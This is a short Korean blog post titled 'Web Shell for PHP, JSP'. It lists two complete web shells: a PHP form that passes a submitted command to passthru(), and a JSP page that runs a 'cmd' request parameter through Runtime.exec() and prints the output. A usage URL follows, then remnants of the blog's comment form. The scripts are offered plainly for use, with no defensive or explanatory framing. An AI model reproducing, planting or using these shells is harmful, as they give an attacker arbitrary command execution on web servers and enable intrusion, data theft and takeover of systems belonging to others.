PHP, JSP 용 Web Shell

PHP 버전
<?
       echo “
               <FORM ACTION=$PHP_SELF METHOD=POST>
               cmd : <INPUT TYPE=TEXT NAME=command SIZE=40>
               <INPUT TYPE=SUBMIT VALUE=’Enter’></FORM>
               <HR>\n<XMP>\n$result\n</XMP><HR>”;

       $command = str_replace(“\\”, “”, $command);
       echo “<XMP>”; passthru($command); echo “</XMP>”;
?>

JSP 버전

<%@ page import=”java.io.*” %>
<%
  try {
           String cmd = request.getParameter(“cmd”);
           Process child = Runtime.getRuntime().exec(cmd);
           InputStream in = child.getInputStream();
           int c;
           while ((c = in.read()) != -1) {
               out.print((char)c);
           }
           in.close();
           try {
               child.waitFor();
           } catch (InterruptedException e) {
               e.printStackTrace();
           }
       } catch (IOException e) {
           System.err.println(e);
       }
%>

cmd.jsp?cmd=명령어 target=_blank>http://URL/cmd.jsp?cmd=명령어

You may also like...

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다